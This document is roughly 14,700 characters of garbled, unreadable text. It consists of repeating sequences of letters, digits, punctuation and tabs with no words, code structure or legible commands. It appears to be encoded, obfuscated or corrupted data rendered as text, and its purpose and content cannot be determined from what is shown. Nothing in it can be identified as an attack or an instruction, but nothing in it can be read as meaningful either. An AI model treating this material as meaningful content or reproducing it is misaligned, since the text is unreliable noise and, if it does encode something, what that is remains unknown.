_\[LR 5nXUrWRUP]KQaRQV	ZRA?PWL	]kV4SE;V13_\[P_ 3X?U7W.R7U5]CQRQI	$ZSAGW`	C uV3SX;W1z_0[eO lX9U~WRU@]eQg RQ5	&ZVQ36WW	5&5VSjV31_@[cj %H7XUHWRUS]HQ 7R8QB	&ZN5IWO	M&VVSGb5U_W[dA LXUTWRUB]OQ"1RgQQ	fZVl;rWM	Rc5VSmq7D_1[Wj `3X UDW.R7U|]XQ RdQt	ZZ@FWO	@>VVSW/W33_0[W_ {XUTWfR2U@]GQ$RQB	
ZdBJW`	i _V3S1J6m_}[Wj %RXU3W&R Uh]KQ= RQl	'ZMO'TW`	o2kVSz7E_p[d@ %36XUHW&R
Ul]aQRQZ	
ZQ5g|WM	R:MVSmqU!_C[T_ 9n6XULW-RUA]4Q<R?QZ	eZbO4WO	]:uVSmqV9_W[SB 9FXUnWR2U@]GQ= R.QN	)ZNjTWM	BNVSG7E_p[dO RXUWWeRUm]8QaRQ1	<ZbC7WL	n6VSXC7H1_p[O6 =AXUnWRUl]KQ$ RdQt	eZbA3FWO	@>VVSWb511_@[[C 1 X8UOWfR0Um]8Q$R.Qd	`ZdmdWO	hb6V5SV'Em_m[NS wXeUiWfR1UP]OQRQt	ZZR<|WM	]2uVS1230_3[U_ 906X>UbW8R1U|]OQRQF	&ZeBGWO	@>VVSjD1n6_0[cB 53XUTWRUl]aQd3RdQt	Zd5#BWg	ng]VSVr 0!_3[c@ OXgUvWRUA]uQRQB	ZYl35WU	B.uV3SG/q32=_G[SB l1X>UDWfR2UB]aQ'7RQd	&ZN6;GWT	Q:]VSV7E:_1[J6 =AX UnW-RU7]eQ"RdQp	ZVl;IWX	V"iVSD<v0W=_1[X5 %NXUvWR Uj]GQ"6R?QZ	'ZROWU	A OVSl4W_Q[dP %nXUPWR7UN]@Qe RQx	ZQk3_WV	6 OVS3?t30_i[U5 `3X UDWR	Ul]aQRQp	$ZQk3TWW	5gOVSlW31_s[Rj %35XgUTW<RUh]eQ 1RgQR	
ZbO4WO	QOVS2o3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZbj#hWS	Q2sV3SHJ6j_O[e7 2yX9UjW&RUP]KQ3RfQh	:Zb@6WX	V"]VSV50!_3[Pj `lXUTW.RU7]jQf RfQZ	ZOP5Wc	7OVSnvW_1[WP "z1X UDW<R7U4]XQ%ReQk	fZQiIW`	5uVSm0W=_O[WR 535XeU\WRUA]9Qd R.QJ	gZQ5#jWL	Rc@VSm#kU_3[TR 9R6X>UbW:RUR]\Qc1R>QN	eZQjfjWL	F"]VSVDV_s[S@ 5nXUPWR7UP]CQRQt	 ZY5#HWO	M uVSm/O12_V[dQ 5NXUjWRUl][Q$RQd	?ZK53IWg	n&}V3SG/BV_Q[X5 `lXUTWR2UN]OQ<3RdQw	$Zd_5Wa	AsVSn'J13_v[Pl =RXUTW.RU5]eQRdQ5	gZUR;IWU	@oV3ST?V0T_0[LR 5hX UTW-R Uj]_QRfQh	:ZT_5Wg	iOVSj;J 2_v[Ri 0XUjW.RU7]@QgR.QJ	 Zbj3HWP	@AVSkyU-_p[L4 93X8U\W&RUl]jQb7R:QV	?ZR@g|Wg	]:}VSH'rV>_r[eP "zXUbWRU^]KQdRQo	cZOOWg	n&}V3SG/BV>_5[dk HX8U\W&R	Uk]zQ.RdQQ	$ZSAPWg	i}VS2/26m=_O[TR =R6XeU@WR7U4]8Q RQp	%Zd74WU	RcPV6S0fS G_B[Wk 7XU7W`R7UB][Qf1R.QN	%ZN4?5WL	] }VS2o2V_w[`P `h1X?ULW<R7U4]yQ'0RQR	eZQj6Wc	7:sVSH'BX1_w[`P `h1X?ULW<R7U4]yQ'0RQR	eZQj6Wc	7:sVSH'BX1_s[SC U0XfUKWeRUh][Q.RQd	2ZZ}MWf	7n6V5SS#Xm_h[SS zX:UiWeR7Ul]GQgRQJ	cZRCwWQ	@6V4Sl'tW%_j[T} 200XdUSWfR UE]~Q-RQ1	#ZL}4WV	i6V4Sl'im&_|[W} rXUOWfR1UP]OQRQc	aZcS46Wf	56V6S1iV _7[b} oXeUiWfR0Um]8QR.Qd	`ZU6;GWW	Q>~VSl?WU:_5[dk HX8U\W R7UB]aQ"RdQw	cZekNWS	i5VS1?Q 1>_5[dk FXUnW:RUR]aQ6R?Qt	%Zek@WO	@>~V3S140"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD7G9_j[R6 [0X9ULW>R
UQ]jQe0R?QI	$ZS@3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOR?4WM	M&VVSDH32_l[`P ayXUPWRUl]_Q RdQ5	Zbl3BWg	hNVSl2U_W[d@ %l1X8U@WR7U4]4Q<RfQZ	
ZVR;4WW	5gMVS2/k30"_r[eP `37XUvWfRUm]aQd R.QN	:ZaP#_WW	P&uVSn1 W=_q[Tj z1XU\W.R7U@]eQ$1RdQp	ZUiIWP	@}VSj;k6m=_G[S@ zXU3W&RUS]4Q0RQh	
ZbijWL	RoVSny10!_@[O5 %3XUjWRUP]KQ7R?Qt	ZN@WU	B._VS0Q0W=_V[WP "zXU\W RUk]GQ'RQZ	:Zd5|Wc	4OVSEQT_l[WP "z1X UDW<R7UN]eQ  RfQZ	ZN5NWL	BoVSjHG=_l[Ri nXUTW`R	Ul]KQ3RdQ1	9Zek@W`	B.sVSn;VV_[NO zXUPWR Ul]_Q<RQI	$ZSBGWO	@>uVSGq0T_\[WR 2zXUTW.RUh]}Q  R.QJ	ZVP#JWP	Bc5VSm01l_s[cl =37XUHWR2U@]_Q=RQB	
ZY4jWc	7.kV STD V_F[SO 9OXgUbW&R2UA]yQReQB	%ZOP_Wa	S kVS27E_v[[B 5nXUPW R2UC]GQ7RQZ	$Zbl3jW`	B:~VSGntW_v[U5 %D1X>UDW R2UB]KQ1R8QB	%Zbl}Wg	kRV5SG#vE%_o[dk F6X9U3WfRUk]DQfRQk	$ZRB?TWU	@}V3SG16k_@[S@ 506XfU3W R2U@]eQ6R9Qg	bZR40|Wg	iOVSknW30_Q[e5 %LXUjW8RUP]KQ7RQd	)ZV_4WU	B&uVSmc2U_W[dO 9nX8UPW&R7U@]_QRdQ5	%Zbl3hW`	MuVSmowV_\[X4 l5XfU~W8RUP]KQ7RQZ	$Zbl3jW`	B:hV3S0;J z_0[`i lX9UHWfR2UA]yQ$7RQE	$ZN6;GWW	]>3VS2O30_Q[Wi hXUTW:RUk]4Q" R>QF	eZcAvWc	6RV5SGjD_l[Uj vX?U3WRUP]CQ9RQx	ZZBJW`	:iVSmov7l9_C[S@ 506XeULW8RUP]KQ RQl	9Zek@W`	@guVSl?J z_0[`i lXU@W`R	Um]4Q$RdQ5	ZRO?IWc	6:OVS2r1l_s[cl =n6XU?W&RUh]bQ 0RQg	+ZQl?6WU	B5V6SG#r1l_s[cj `lXU?WfR2UB][Q7RQJ	eZVl4|WV	4 uVSl4W_@[[B LX?UTW`R	Uh]OQ" RfQh	 ZaP?6WQ	P&OVSj;p6m=_l[cl 2zXUjWfR2UB]_Q< R?Q5	ZRO?IW[	nguVSlV12_G[WP @XUnWRUQ]8QaRQR	!ZMR35Wg	o5V6SD;qW_}[LR 5OXUPWRU@]eQ'RQg	$ZY5TWU	@uVSn?B0W=_O[cO R6XfU3W RU4]GQd1RfQZ	$ZZ@#JWS	n3VS1?40X_V[cB 537XU?W&RUk]8QRdQI	$ZSAJWU	@oMV6SFv6k_Q[dP "zXUTW:RUk]4Q<7RQ1	9Zek@W`	C uV3SUt 2_l[U5 YXUTW`R U7]CQ$1RfQR	ZeP$|WT	C kVS27E_p[dO 9OXgUjW&RUj]_QRdQ5	%ZUl_W[	6&VVSGb57G_0[e@ %h1X9U~WRUA]5QbRQl	ZN6;GWW	]>VVSl?B0W=_O[cO 06X.UjW8R0UP]CQ3RfQh	 ZY7?TWU	B:MV6SDD1n1_s[ci nX:UbW.R	Uh]OQ<3RdQ5	&ZN6;GWW	]>VV6SG/1F_\[Pj `lXU~W8RUR]_Q7RQt	ZeP$|W[	ngNVSl2U_W[dA A6X9U3W&R	UN]eQ  RdQ5	%ZOP_Wa	Q2]VSV5E_p[cl =nXUTW:RUk]4Q"1RfQZ	$ZZ@#BWP	Q2]VSV5E_r[S@ %lX?U7W&RUj]@QdRQF	ZeAGW`	hcuVSH?V 0`_s[NP RXUvWRUh]eQ0RQh	Zb@TWO	@3VSj;132_3[cB =YXgUvWRUA]8QcRQ5	
ZMB36W`	:kVSF?JU_1[Pj `lXU~W8RUA]CQ7RQt	ZeP$|WT	@~VSmnt z_w[eO zX>UDW8RUB]OQ RQx	9Zek@W`	k>VV6SG/1F_\[eO 3XU?W8RUS]GQ RQ5	&ZRA3FWO	@>VVSWb5E`_\[LB 506X.UjW8RU@]eQRQZ	gZQjfjWQ	R.kVSGD U`_s[U5 RXUTW.R7UB]aQRQI	$ZSAGW`	k>VVSl?113_0[U5 YXUTWRUA]CQaRQR	&ZeAGW`	C uV3SUS7E!_\[Wj RXUTW`R	Uk]yQd R.QI	$ZVP_WS	n3VS143z_P[SO 926XUTWRU@]jQ  RgQd	%ZT5TWU	M}V3SD;QE`_s[N@ RXULW R2UC]aQ$1RgQd	&ZRA3FWO	@>VVSWb5E_p[cl =nXUTW:RUk]4Q"1RfQZ	$ZZ@#HW[	6&VVSGb5E_v[NQ =AXUnWRUQ]zQbRQZ	:ZY4|W[	i uV3SUtW_1[S@ 526XfU3W.R	Uh]OQ<3RdQZ	ZVPIW[	6&VVSGb5E_p[cj %h1XU\WRUk]5QbRQB	
ZSl;BWg	@sV6SE;rV_r[SO 9OXgUjW&RUk]GQRQB	9ZRO?IWU	CoVSjHE_p[dA LXUDWR7U4]5QbRQB	
ZQjfjWQ	R.}VSW7E_p[dA A6XUPW&R7US]_Q7RQt	
ZVjTWO	@3VSm#2 z_r[WP YX?UTW`R U7]CQb3R.QJ	ZRO?4W`	PNVSF0v 31_s[U5 RXUTW.R7UB]aQRQ5	%ZO@TWU	@sV6SE;r131_p[SA 5@XUnWRUQ]8QcRQF	&Zbj#nWg	COVSmo4V_\[Pj `lXU~W.R7U4]4QRQB	
ZQjfjWQ	R.kVSGD U-_o[dk F6X:UnWRUQ]zQbRQF	ZeAGW`	A:]VSV5E_r[dk F6X:UnW`R	Ul]HQ/ RdQt	
ZV_hWa	BuVSmo4V_@[cj ayX:UbW.R	Uh]OQ<3RdQ5	%ZT5TWU	CuV3SG#O30_G[S@ 526XeULW8RUA]<QgRQB	
ZQjfjWQ	R.}V3S2osV_\[Pj `lXU~W8RUR]eQ7RQ1	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNi|W[	oMVSn0 2_P[TR R7XfUTW-R7UP]jQ 0RQh	gZY5#jWL	]:OV6SFq7D_F[[O RXgUHW`RUS]GQ<1R8QB	%ZUl?HW[	6 iV5Sm#W12_3[L@ 5RXUjW:R7UQ]4Q<RQl	ZRO?6Wa	4 ~V3SUt0T_l[e4 n7XUTW&RUk]5Q%RQl	+ZR@36W`	7iVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SVO30_\[L@ `l1XUHW&RUh]aQ-7RQd	)Za_?IWU	M:sV3SFr 3_r[U5 %LXUTWRUN]CQ=RQB	ZZBTWa	7kVSHqF_\[Rl =D1XULW R2UC]aQ$RQA	$ZRBJW`	h:3V3S2c2U:_4[P_ 3X>ULW:RUB]aQbRgQV	%ZZ@_WW	P3V3S3WU_r[RA A6XUTWRU4][Q7RQZ	&ZR@3JW`	7cuVSH?V 0-_o[SO 9n6X?UTW:RUR]OQ7RQt	
ZVj6W`	7c5VSmpE`_Q[O6 =AXUnWRUQ]8Q" RdQZ	:ZY7;hW`	@sV6SE;rV_5[NP RXUPW8RUR]LQbRQB	
ZSl;BWg	@sV6SE;rV>_1[SO 9n6X9UjW`R7U4]4Q<RQl	ZRO?KWW	k:kVSn;232=_q[NP 3XUjWR7UN]OQ0R QN	gZV_IWS	Q}VSmvW_r[eR 5nXU@WRUN]CQ<1R:QV	
ZM@fjWg	BuV6SD4 2=_P[`_ 6{X9UTW-RU@]CQ-7RQF	ZZOTW`	7~V3SV?W1n_[WP 0XUrW;R7U5]CQ'7RQZ	&Za_0}WO	A>~VSnsV_[O6 =AXUnWRUl]OQaRQR	&ZeO?hWO	QOVS1?W12_r[[@ %L6XfUjW:RUk]4Q7RQZ	eZM_nWW	6:uVSlD1_s[ci n7XUTW&RUm][QRgQd	%ZZ@3hWa	P5VS3?r30:_r[e_ 37XULW RUh]}Q1RgQR	 ZQl;_WT	PguVSl0v0W=_1[X5 %L1XUHW`R7U5]CQ'7RQt	
ZePf5WW	h.OV3SHQ30a_5[[B R7XfUHW8R0UC]GQ< R8QB	)ZY5TWa	7:NVSF?JU_1[Pj `lXU~W8RUA]CQ RQ5	&Za_?6W`	o2kVSji30_0[L@ 5RXUjW:R7U^]CQRQV	%ZZO?6W`	h:NVSF0v 31_s[N@ RXULW R2UC]aQ$1RgQd	%ZL5TWa	5iVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SVO30_\[L@ `l1XUHW&RUh]aQ-7RQd	)Za_?IWU	M:sV3SFr 3_r[U5 %LXUTWRUN]CQ=RQB	ZZBTWa	7kVSHq7E!_Q[dP "zX?U7W-R7U^]CQRQd	?ZK7/hWa	@gMV SUV0U"_5[[@ YXUTW`R7U5]CQRQI	$ZSAGW`	hcOVSmkW_v[Pj `lXU~W8RUR]OQ7RQY	+ZMR3IWU	C }VSnj30`_s[M5 R7X.UnW.RUR][Q0RQh	ZbOKWW	P3V3Szt 0_l[X7 =n6XULW R2UC]aQ$1R:QV	)ZOOW`	|"3V3S2o3V_[[@ @XUnWRUl]OQaRQR	 Zd5#BWU	A}V3SDD7G_}[LR 5OXUPW.R	Uh]OQ<3RdQx	9ZeknWO	M&VV3ST?VW_][`5 :q0XUrWaR2UQ]eQ RQd	<ZZ6FWO	@>uVSGq0T_\[WR 2zXUTWR	Ul]aQ<6R9Qg	bZQjfjWQ	R.NVSGbD0_r[R@ 5MXUvWRUA]9Qc1R.QN	
ZNR3hWT	@MVS2/B30"_r[eR =nX>UTWRUB]aQ1R.QN	ZdP3@WO	@>VV6SG/q10!_l[L@ O XgUTWRUl]XQ RQp	+ZUiIWP	@nV3SG232_r[`P `N XeUDWRUN]}Q.RQF	gZZ5PWL	]oV3SWnJG`_w[[k 9v5XfU\W<RUh]aQ$6R9Qh	ZUR;_WW	PAVSH;B19_U[eR 2y1XU3W&RUk]XQeRQl	$ZQk3TWW	5gOVSlW31_s[Ri !H6X ULWbR Uk]=Q.R QM	$Zek@W`	o>~VS38v2=_V[c@ 5FXUnWRU@]GQg R.QN	gZT5hWO	R.MVSn;V31>_r[eQ {XU~W=RUA][Q0RQh	eZMOjWM	R:iVSm00_r[RA NX?U7W.R	Uh]OQ'RQt	eZMA3jWW	h.iVSn?1 z_4[L@ H7XULW.R U6]_QR:QR	:Zd5#hWa	B:sVSG02-_Q[d_ y1X>UHWRU5]eQ"RQV	%ZOOWg	nsV6SDs2_v[`_ OX>UDW8R	Ul][Qb RfQh	ZOPnWW	6:}VS38{ z_1[cj 2X.UDWRUj]CQ$RdQ5	gZQjfBWg	ngMVSj;231_i[SO z6XU\W&RUB]OQf RQp	%ZdP3@WO	@>VVSFW 2_Q[LR =RX.UDWRUj]CQ$RdQ5	gZU_jWU	BcuV6SD0W_4[dR 5lXUjW8R7U@]eQ 6R9Qg	bZZ@4WW	sV6SFy30"_r[eR 5nXUTWfR2UB]_QfRdQQ	$ZSAHWW	i OVSFyV_Q[LA 5DXfU~W:RUh]eQRQh	gZT4BWS	] kVS2#4 0!_l[c@ 5L1XUPWRUm]aQ RgQV	?ZK6;GWW	]>iVSD;1 z_1[U5 5FXUnW:RUR]aQ6R?Qt	%Zek@W`	B._VSm vU_r[RB LXU\W&R2UB][Q"RQZ	 ZVj$|W`	B:}VSnj30`_@[WQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSm132=_3[LR =nXU@W`R	Uh]}Qg3RdQ5	&ZRA3FWO	@>VVSl?230_C[S@ 5L6XfUTW`RUQ]CQaRQR	 ZVP#4W`	43VSn'130`_p[SA 5@XUnWRUQ]uQ3RgQV	fZdB;jWL	P&MVSm/V 2"_0[cA 5n6XU7WR U6][Q7RQJ	:ZN@#jWP	RNVSmbD0_r[RA A6X:UnWR	Uk]DQg3RfQh	ZU_?hWg	kuVSkt13_l[UR 9NXgUvWRUA]8QcRQ5	
Zd5#BWP	PiVSl` z_v[`R 9R1XUHWR7UQ][Q=7RQt	gZbO6W`	o2]VSV5E_r[S@ %lX?U7W&R2UA]uQgRQZ	!ZMR35Wg	o5V6SD;q j_l[OO D1X>UDW.R7U6]_Q<1R.QJ	fZbB3hWW	nuVSn;r0X1_[WR 9LX.UbWRUP]KQcRQF	&Zbi5W[	ngkV STDU!_3[TP %lX9UHWRUk]DQg3RfQh	ZU_?hWg	kuVSmc2U_W[dA DXUTW&R2U@]GQ3RfQh	 ZdB?hWc	OV3SH8v6m2_0[`R zX>UTWfRUh]bQ 1RgQd	ZZOW`	@gMVSmQ7H1_p[WP OXgUvWRUA]8QcRQR	ZVjfvWM	PgMVSn2V_@[WP @XUnWRUQ]8QcRQt	eZN_WU	B.OVSkt0T_w[cB 9NXgUvWRUA]8QcRQ5	
Zd5#BWP	PiVSlw z_1[P5 "zX>UDWRUh]}Q  RfQR	
ZbB3nWU	@gNVSGc2U_W[dA A6XU?WRUh]eQ3RfQg	bZbl|Wg	huV6SHqF_p[O6 =AXUnWRUl]OQ3RfQh	 ZTP#jW`	MNVSm$y 3_3[LO lXUjWRUk]DQg6R?QZ	eZMO6WP	B}VSnO1z_\[T_ hXUTWRUk]8QRdQI	$ZSAGW`	k>EVSj;0 j_3[L@ `D1XUDWRUA]9QdRQF	ZeAGW`	Bo}VSnO1z_\[T_ hXU@W`R	Uh]}Qg3RdQ5	&ZN6;GWW	]>VVSWbt13_l[UP YXUTWR	Ul]aQf R>QJ	ZbB;rWM	P&OVSjv322_4[LO 0XUPW<RUl]OQRQF	&ZeBhWM	] @VSmq33_0[Rl 5nX:UjWR7US]_QRQI	$ZSAGW`	A:kVSmk1z_l[WP %21XU?WfRUh]}Q1RgQR	:ZTR4W[	k2sVSlS7G_q[S@ 5LXfU?W.R	Ul]aQ3RfQg	cZU_?hWg	kuVSk013_i[WR 9L6X?UTWRUl]OQRQF	&ZeO?IWg	B.}V3S2o4V_[[@ @XUnWRUQ]8QcR QJ	fZVR3hWT	CkVSF1322_0[eB 9RXUTWRUk]8QRdQI	$ZSAGW`	k>VVSl?230_C[SO HXUTWR	Uk]yQd3RfQh	$Zbl?TWU	M~V SXB U%_G[WP 06XgUvWRUA]8QcRQY	$Zek@W`	k>VVSFB0T_V[Wi zXU@W`R	Uk]<QRQI	$ZSAGW`	A:]VSV50_r[RA D1XU~WR U4]GQd RgQV	%Zbi5W[	ngoVSjH0_r[R@ %hX9UjW RU7]eQ R.QI	cZRB<|Wg	S sVSkS7E!_Q[e7 9LX.UbWRUP]KQc7RQt	ZeR;hWP	@iVSlr2_l[Rl =DXU~WRUN]jQ-6R9QZ	 ZSiTW`	7c}VS20E-_o[dk F6XUbW&RUj]jQ/1RgQQ	cZRB?TWU	@sVSl?SV>_1[SO 9OXgUjWR	Um]_QRQV	%ZbiIWX	S oV3S2n7G_r[dk FXUnW&R	UA]GQ'0R QN	
ZVR4|WL	@sVSmfS7G_w[`P `lXU~W-RU@]jQ 3RdQZ	fZMB?BW[	6&VVSG/W33_@[cj %h6X.UjWR	Uk]yQ 1RfQZ	:ZaR?TWU	MOV3SHQ30`_F[[B =07XeUPWRUj]@QdRQF	ZeAPWW	6}VS2v131_@[cj %h6XfUHWR	Uh]eQb1R.QJ	ZMi'rWM	RcuV6SH'V32_P[T_ 9OXU~WR U6]KQRQx	9Zek@W`	k>EVSm#J 2_0[UP %LXU3W&R	UA]4QRQI	$ZSABWO	M&VVSD7E_r[RO 0XUWWfR7Uk]TQ/R9Qs	*ZdS|WW	C=5VSC#hX_w[dS QX8U\WRUP][QgRQg	bZSl;hW`	COV3SVt32=_1[LP "z6XUjW&R7UB]eQRQ5	ZN6;GWW	]>uVSlV0X_r[X5 RXU7WR	Uh]OQdRQt	
ZVR3jWT	A2]VSV57G_}[LO lXU~W8RUR]OQ3RdQZ	fZQl3hWM	RcuVSkjV_[X5 nXUPW RU5]eQ RQZ	 ZT5#JWP	C NVSG7E_p[cl =nX UDW R2U@]DQ 6R9Qg	+Zb@_WO	@OVSGQ0X_l[e7 z5XeU\W.R7UB]KQbRQB	ZU_?hWO	Q5V6SDr3Ed_r[RP RXdUTW`R	Ul]HQ 6R9Qg	+Zb@?KWW	5:kVSDD7E!_3[L@ `D1XUDWR	Uk]uQ3RdQ5	&ZY5_W`	S oVSjHG=_l[Ri nXUTW`RUP]CQd R.QJ	eZbOWg	h.uVSFW 3_s[[O 2XUDWRU7]eQb RdQt	
ZVR3jWT	B:3V3S1O32=_3[Wl 53XU@W.R7U4]8Q<RQI	$ZSBGWO	@>]VSV7E_r[RO 0XUWWeR1UR]TQdRQE	aZeC|WO	h6V4Sn5X_|[Sm 10XgUTWRUP][QgRQg	bZSl;hW`	COV3SVO j_r[e4 37XUPWRUA]<Q"0RQZ	gZd5fBW`	i kVS27E_v[WP %26XeU@WfRUh]}Q0RQZ	gZd5fBW`	i3VSn213_r[OR 9L6X?UTWRUl]OQRQF	 ZdB4Wg	B.sV6SH'SV_@[cj `D1XUbW RUk]8Q0RQZ	ZRO?hW[	5iVSDD7E!_q[WP OXgUvWRUA]8QcRQ5	
Ze_nWg	M:_VSmt6j_r[S@ 5LXdU7WRUh]OQd1RgQR	$ZNR?TWU	ANVSG7E_p[dB AXUnWRUl]OQ3RfQh	 ZTP#JWW	4 uV3SWnS6k_3[P4 yXUbWfR2UB][Q<RQB	
Ze_nWg	M:_VSmbWU!_o[dk F6X:UnW`R	Uh]OQd1RgQR	$ZNP_WO	@}VS1?26k_Q[UR 5n7XU7WfR	Uk]GQRQB	
Ze_nWg	M:_VSmc2U_W[dB AXUnWRUh]eQ$RQt	:Zd734W`	7csVSn?20U_p[O6 =AX UjWRUP]KQaRQU	gZVjmWf	o2VS3sX_0[WB )V XU3W$RUk]iQ<RQV	+Zek5Wc	OV3SH8v6m2_0[`P n1X UDWR2U@]GQ0R QJ	 Zb@fjWL	C3VSn'V 2_\[cB 5hXUPW8R U4]CQaRQR	&Zbjg|WM	R:MVSmqV_s[NP n1X UDWR2U@]GQ1RfQZ	:ZSijWa	BsVSn;412_C[T_ 9n1X8U\WR	U@]eQ$ RfQR	ZVPFWO	@>VVSl?J z_4[L@ %lX UDW8RUR]OQ1R.QN	
Zd7Wg	B.}VSl40T_P[TP pX9UjW8R7US]GQRQp	 Zd_4W`	4iV3SWkV_\[Rl 2zX UDW&R2UB]XQ RQx	9Zek@W`	hcsVSj;qW_l[`R =R6X.UjW8R U5]bQ 1RfQw	fZd5#BWW	7sV6SH'rF_i[S@ RXUHW8RUA][Qg RgQR	gZT__W[	6OV3SH?O119_o[e_ R6XfU3W RUl]aQ'RQZ	:ZaR;TW`	o2]VSV57G_3[Wl 5hXU~WR	UC]KQRdQ5	ZTR;IWg	@}V3SGB 2_r[Rj %LXUPWR U6]KQf1R8QB	%Zd_?5WL	] }VS2o27H_4[e_ y6X.UbW`R7UB][Qf1R.QN	%ZN4?5WL	] }VS2o2X_F[SO 9n1X8U\WR	U@]eQ$ RfQR	ZVPFWO	@>VVSn?rU!_l[e7 526XfU3W RUl]aQ'RQZ	:ZaR;_W[	6&VVSD7E_r[RO 0XUWWfR	UR]TQ-RQ0	!ZaCSWO	i=5V6S3CU_S[eB =lXUvWR	Uk]uQ  RgQV	ZZ@#BWU	C:5VSjV31_@[cj %36XUHW&RUj]CQbRQZ	ZVQ3FWO	@>VVSn?rU!_l[e7 52XdU7WR2UN]eQRQt	?ZUPf5Wa	@guVSj;J z_4[Lj %D1XUDWR0UP]CQg6R9Qh	 ZbOhW[	k2OVSkS7G_w[WR 5nX?ULW RUj]eQRQ5	ZUlTWS	oNVSkQ7l_p[O6 =AX UjWRUP]KQaRQR	!ZMR35Wg	o5V6SD;qW_O[cB =tXfU~W.R7UB]KQRQB	
ZdOjWW	h.}VSnv6l_p[SA 5@XUnWRUj]eQ R.QJ	
Zb@_WO	@EVSm#W 2_l[Pj %D1XU?W.R7U6]_Q"3RgQR	 ZY5#BWW	6:MVSkWU_r[RA l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB3_C[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3}WP	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	ZT_?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB19_G[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3_WS	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	Zbi?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB3_}[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3}Wa	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	ZY4?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB19_@[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3_WP	@AV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	)ZT4?KWV	:kV5SzHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[Ll Y6XdULWRUk]5QbRdQw	$ZRBIWP	AAV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZ@f4Wa	2CVSTHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[e7 Y6XdULWRUk]5QbRdQw	$ZRBIWP	M2AV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZ@f6Wa	2CVSTHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[Tl Y6XdULWRUk]5QbRdQw	$ZRBIWP	CAV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZOTWa	2CVSTHG=_l[X4 zXUTWR7U7]jQ RdQZ	Zb@_WO	@3VST?jT_r[dk FXUnWRUj]eQ R QI	bZbOvW[	7}V3SG431_O[RP YXUTWRU@]eQ R.QJ	
Zb@TW`	PAV SWov V9_s[WP YXUTW`RU4][Q<RQl	ZRO?6WO	BoV3S2n7E_p[cl 2yXUjW&RUh]eQ7RQN	Zd4BWU	B.3VSTD0`_s[T_ 9nXU\W&R	Uj]_Q7RQV	%ZQl_WX	PAVSGbD31_s[[B =07XdUTW<R7UQ]4Q<1R?Q5	)ZN5sWO	@>VVSl?VT_4[cO pXfUTW&RUh]aQ$0R QN	:ZM@#JWQ	P:kV STDF_\[U7 2zXU~W8RUA]<Q RQl	%ZUl_W`	4 kV ST?D7D_@[[@ YXUTW`R7U|]OQ<RQd	%Zek@W`	hcuVS3?VU_Q[S4 6y1XU~W R2UC]KQ< R?Q5	%ZOPTWP	BcOV6SD;t30`_s[e@ Y6XdULWRUS]KQRQ5	%ZL5TWQ	]23V3S2o3V_[U4 9MXdUTWRUP]KQc7RQZ	Zd74W[	nhV3S0<{13_v[L@ %LXUjW8RUR]OQRQB	
ZT74|WU	B.kVSGfD V9_s[Pl H6XeUPW8RUR]eQ7RQN	)ZZ@_WW	P3V3SzjX1_s[dk F6X9U3W&RU5]eQ RQZ	ZR40|W[	ouV6SH8yW_P[[B L6X.UjW8RUC]_Q" RfQg	fZbj#JW`	6kV SWnB V9_}[Pl 9L6X-U?W8RUC]fQg7RQd	%ZNjTWa	5o3VSWDU_W[dO 9OXU\W.R7U@]GQ"3RQd	Zd5#jWa	Bc3VSTD0`_s[T_ 9nXU\W&R	Uj]_Q7RQV	%ZQl_W`	51VSGbD31_s[[O 27XdUTW<R7UQ]4Q<1R?Q5	)ZN5sWO	@>VVSl0{ z_1[X5 %tXfUTWRU5]eQRQZ	ZZBJW`	:kVSEt 22_0[cj %L6XgUTW8RUQ]4Q RQl	%Zd7?JW`	|okVSE<{7H1_s[Oj R7XdU?W`RUQ]CQRQF	ZeO?IWQ	S}V3SFt3H1_O[cA 5nX?UvWRUj]eQ$7RQE	$ZR@3JW`	43VSjV32_P[SO 926XdULWRUQ]4Q RQ5	&ZR@36W`	7_VSHDX_s[[O L7X.UbW8R1U|]OQRQF	ZeOjW`	SkVSF?Q z_\[c@ R6XUTWR U6]\Qg RQl	%ZRB?JWW	23VSj<{ 3_l[e5 90XU~WR	Uk]GQRQZ	
ZbO0}WO	@iVSmnS7G_0[L7 53X:UbW;R7U6]aQ$RfQZ	:ZSl;BWU	B.3VST40`_O[OO 906X?UTW:R7U4]4Q<1RgQd	)ZR@4W`	7RV3S320_r[RA l6XUTWRUA]4Q" RfQg	fZbj#JW`	6kV SV17l9_s[Pj R6X?UTWR7U7]eQ<1RgQQ	fZM_rW[	7uVSn;r0T_l[L@ %LXUjW8RUR]OQRQB	
